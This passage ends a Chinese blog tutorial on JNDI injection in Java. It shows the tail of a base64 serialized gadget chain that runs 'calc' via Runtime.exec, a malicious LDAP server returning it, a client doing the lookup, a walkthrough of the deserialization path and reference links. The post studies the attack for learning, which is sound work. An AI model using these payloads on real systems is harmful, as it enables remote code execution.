QzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));

// 发送查询结果,返回这个 LDAP 引用条目
result.sendSearchEntry(entry);
// 设置查询结果为成功
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

Client

1
2
3
4
5
6
public class Client {
public static void main(String[] args) throws NamingException {
InitialContext initialContext = new InitialContext();
initialContext.lookup("ldap://localhost:6666/Object");
}
}

同样的先从url加载对象

image-20250211140916188

这里肯定为false

image-20250211140959115

随后会走到反序列化的逻辑

image-20250211141149250

最终导致反序列化攻击。

后续

浅蓝师傅又总结了一些特殊情况下的利用方法探索高版本 JDK 下 JNDI 漏洞的利用方法,写的很清楚,这里就不展开了。

参考文章

浅析JNDI注入

浅析高低版JDK下的JNDI注入及绕过

Java安全学习——JNDI注入

JNDI注入分析

Java反序列化之JNDI学习

JAVA Documentation

如何绕过高版本 JDK 的限制进行 JNDI 注入利用

Java安全 - 记JDK8u191后JNDI绕过原理

JAVA 协议安全笔记-JNDI篇

从文档开始的jndi注入之路-1

从文档开始的jndi注入之路-2 jndi+ldap绕过

从文档开始的jndi注入之路-3 高版本绕过之三打jndi


JNDI注入
https://sp4rks3.github.io/2025/02/11/JAVA安全/反序列化/JNDI注入/
作者
Sp4rks3
发布于
2025年2月11日
许可协议